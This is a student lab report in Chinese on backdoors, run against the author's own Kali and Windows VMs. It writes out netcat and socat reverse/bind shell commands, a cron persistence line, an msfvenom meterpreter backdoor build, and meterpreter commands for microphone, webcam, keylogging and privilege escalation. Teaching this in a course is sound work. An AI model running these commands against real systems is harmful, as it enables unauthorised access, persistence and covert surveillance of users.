Exp2 后门原理与实践

一、实验要求

1.使用netcat获取主机操作Shell,cron启动

2.使用socat获取主机操作Shell, 任务计划启动

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

二、实验内容

1.任务一

(使用netcat获取主机操作Shell,cron启动 )

kali(攻击机)Windows(受害人)

1.Windows获得Kali Shell

(使用ipconfig查看IP:10.1.1.171)

(使用ifconfig查看IP:192.168.168.128)

2.安装ncat.exe程序

ncat.exe程序Windows系统下并没有安装需要手动安装,下载地址然后解压到相应文件夹中,通过命令行进入ncat文件夹

之前因为没安装ncat程序导致Windows端报错

3.在Windows的命令行中输入 ncat.exe -l -p 5110



4.在kali端输入:nc 10.1.1.171 5110 -e /bin/sh



(成功获取Windows的权限)

注:可以通过相似的操作通过Windows来kali的权限

kali(受害人):nc -l -p 5110

Windows(攻击机):ncat.exe 192.168.168.128 5110 -e cmd.exe

5.在kali端打开crontab -e选择

3. /usr/bin/vim.basic在最后一行加入代码

32 * * * * /bin/netcat 192.168.1.123 5325 -e /bin/sh

意味着每小时的第32分钟时启动一次

时间到了的时候,我们在Windows的命令行中输入ncat.exe -l -p 5110然后可以成功获取Kali中的一些权限,完成操作任务

2.任务二

(使用socat获取主机操作Shell, 任务计划启动)

socat下载地址

此处的攻击机为kali,受害者为Windows

1.首先通过搜索找到计算机管理,点击任务管理计划->创建基

本任务,按照步骤进行创建,其中在操作这一栏中选择我们刚才下载socat.exe文件,并在下面的参数一栏中填写

tcp-listen:5110 exec:cmd.exe,pty,stderr

该命令是用与把cmd.exe文件绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上。

2.创建任务完成后,按Windows+L快捷键快速锁定计算机,再次打开时,唔没出现哎,唔然后我打开任务管理器发现定位文件夹的socat.exe消失不见了,然后我又重新复制了一个过来,再次重复上面的动作,到时间就弹出来了一个黑色的框,表示运行成功。

3.在Kali端输入指令socat - tcp:10.1.1.171:5110一开始我总是出现未找到命令的错误,经过检查后发现由于我指令中的-与tcp中间没有加上空格,输入正确后,即可成功获得cmd shell

(成功获得cmd shell的截图)

注:在排查过程中,我以为是端口被占用的问题,所以将此处的端口该成了5111

3.任务三

(使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell)

Kali(攻击机),Windows(受害者)

1.生成后门

在Kali端生成一个后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.168.128 LPORT=5110 -f exe > backdoor_20165110.exe

指令参数说明:

    -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型

2.将生成的文件通过nc指令传输给Windows。

3.在Kali端启动msfconsole

4。输入指令

set payload windows/meterpreter/reverse_tcp
set LHOST 10.1.1.171 //Kali的IP
set LPORT 5110

一切显示正常后输入exploit

即可成功获得Windows的shell

该任务中出现的错误:

1.一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。

2.通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。

4.任务四

(使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权)

此处Kali是攻击机,Windows是受害者

1.在上一个任务的基础上继续在msfconsole中输入指令

(1)获取目标主机音频

输入指令record_mic -d 5 -d后跟的是录制时间

(2)获取目标主机的摄像头

输入指令webcam_snap

(结果截图)

(3)获取目标主机的截屏

输入指令screenshot

(结果截图)

(3)获取目标主机的击键记录

输入指令keyscan_start开始记录下击键内容,然后使用keyscan_dump指令读取击键内容

这个指令我去尝试了登录一个网站,发现我的密码可以作为击键内容被显示出来(此处图略)

(4)对目标主机尝试提权

使用指令getuid指令查看当前用户,然后使用getsystem指令进行提取

5.任务五(加分项)

对这个任务我进行了艰苦卓绝的努力,首先得感谢各位大佬们的帮助

首先输入指令,直接msf再pwn1基础上生成一个注入了的shellcode的文件pwn2.msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.168.128 LPORT=5111 -x /root/20165110/experiment2/pwn1 -f elf > pwn2.然后输入msfconsole运行msf,输入下列指令

set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.168.128 //注意此处应为Linux的IP!
set LPORT 5111 //后门程序里的端口号
show options
exploit

随后打开一个新的终端,然后在其中输入chmod +x pwn2.给用户赋予执行pwn2.的权利,如果不进行赋权的话会导致无法运行



然后执行该文件sudo ./pwn2.

然后激动人心的时刻到了



--------------------------------它报错了------------------------------------

我尝试了重启、重新生成、重新配置等多种尝试都没能将这个问题解决==,于是乎,该实验宣告失败。。。。。。(望各位牛皮的大佬们有遇到这个问题的告诉我一下怎么解决。。。)

三、实验过程中出现的问题

1.在进行任务一的时候,通过crontab指令加入的自启动并没有真正开始自启动,应该是因为时间差的问题导致的,最后我是手动双击启动的。

2.在进行任务二过程中kali端输入完指令后总是报错,后来经过排查发现是因为指令格式有误“-”与tcp之间应该有一个空格

3.在进行任务三过程中,出现了两个问题:

(1)一开始我把LHOST的IP地址写成了Windows的,然后生成一直到最后的exploit之前都没有发现这个错误,直到exploit指令后发现运行不起来,这才往回回溯到了这里来,发现了LHOST的IP有误。

(2)通过Windows端始终打不开传输过去的后门文件,始终显示版本信息不符,传输多次还是这个情况,我都没招了。后来发现这个传输过来的文件的大小有问题,每次传输过来的文件的大小居然为0kb但是本身生成的后门程序其实有七十多k说明传输过程中,文件有所损坏,唔,我百思不得其解,最后没有办法,就通过共享文件夹的方式把后门文件传输到了Windows系统中了。

四、基础问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

答:(1)记得之前上信安技术的时候老师曾举过一个例子,说之前有一个爆发的病毒式将后门程序是绑定在一张小龙女图片上的,互联网的用户只要点击查看这张图片就会自动下载该图片后的后门程序,然后安装进入用户的电脑获得权限

(2)下载盗版的软件,该软件的源码可能就有后门,所以只要一运行这个软件,后门程序也会同步运行

2.例举你知道的后门如何启动起来(win及linux)的方式?

答:Windows通过修改注册表信息,创建自启动任务,或者被动触发点击含有后门程序的连接、软件即可启动

Linux通过缓冲区溢出攻击,将正常的跳转进行修改将跳转地址改到相应的后门程序存在的地址中,在执行相应操作之后即可跳转到相应的后门中。

3.Meterpreter有哪些给你映像深刻的功能?

答:我觉得最可怕的就是可以获取击键内容,比方说用户输入的密码,而这会导致为保护密码所设置的所有加密算法和保密协议都完全失效,从源头开始密码就会被泄露,直接明态显示在了攻击机的界面上。

4.如何发现自己有系统有没有被安装后门?

答:我在创建基本任务的时候,发现了许多已经在运行的任务,这些任务有的是系统自带的有的是一些软件自带的,可以通过任务表来查看自己的系统中有没有安装不明后门任务;一般的杀毒软件都是可以检查出打部分的后门程序的所以要开启杀毒软件的实时防护功能,即使更新版本。

附加:使用msf生成其他模式的后门程序(链接

Exp2 后门原理与实践 20165110的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  2. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  6. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  7. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  8. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  9. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

随机推荐

  1. Linux下阅读源代码工具安装

    综合他们多篇博客,做一个自己的总结(从0开始,记录过程) 系统:ubuntu 16.04  vim:7.4.1689 内容来源: https://www.cnblogs.com/wangzhe1635 ...

  2. 非阻塞I/O事件驱动

    在 Java.PHP 或者.net 等服务器端语言中,会为每一个客户端连接创建一个新的线程.而每个线程需要耗费大约 2MB 内存.也就是说,理论上,一个 8GB 内存的服务器可以同时连接的最大用户数为 ...

  3. [转]SQL中的case when then else end用法

      Case具有两种格式.简单Case函数和Case搜索函数. --简单Case函数 CASE sex WHEN '1' THEN '男' WHEN '2' THEN '女' ELSE '其他' EN ...

  4. LeetCode 797. All Paths From Source to Target

    题目链接:https://leetcode.com/problems/all-paths-from-source-to-target/description/ Given a directed, ac ...

  5. 也谈如何获取真实正确的 Windows 系统版本号

    关于 GetVersion 系列接口 关于如何获取 Windows 系统版本号的话题,网上已经有了太多的帖子.但个人觉得总结的都不尽全面,或者没有给出比较稳定的解决方案. 众所周知,获取 Window ...

  6. solr中facet及facet.pivot理解(整合两篇文章保留参考)

    Facet['fæsɪt]很难翻译,只能靠例子来理解了.Solr作者Yonik Seeley也给出更为直接的名字:导航(Guided Navigation).参数化查询(Paramatic Searc ...

  7. 基于bootstrap table配置的二次封装

    准备 jQuery js css 引用完毕 开始 如果对bootstrap table 的方法与事件不熟悉: Bootstrap table方法,Bootstrap table事件 <table ...

  8. Linux基础(学习过程记录)

    常用快捷键:Tab:使用Tab键来进行命令补全,补全目录.补全命令参数Ctrl+c键来强行终止当前程序Ctrl+d 键盘输入结束或退出终端Ctrl+s 暂停当前程序,暂停后按下任意键恢复运行Ctrl+ ...

  9. html页面嵌套两个iframe页面导致第二个iframe页面高度失效的问题

    1:这是因为最里面嵌套的iframe页面html和body高度无法设置问题,我的解决办法是js去控制iframe高度 2:js获取最子页面(content内容区域)的高度 var ifremHeigh ...

  10. ajax请求中包含中文参数

    对需要传递的中文参数先进行两次转码: 1.js文件中使用encodeURI()方法. var url = "Validate.jsp?id=" + encodeURI(encode ...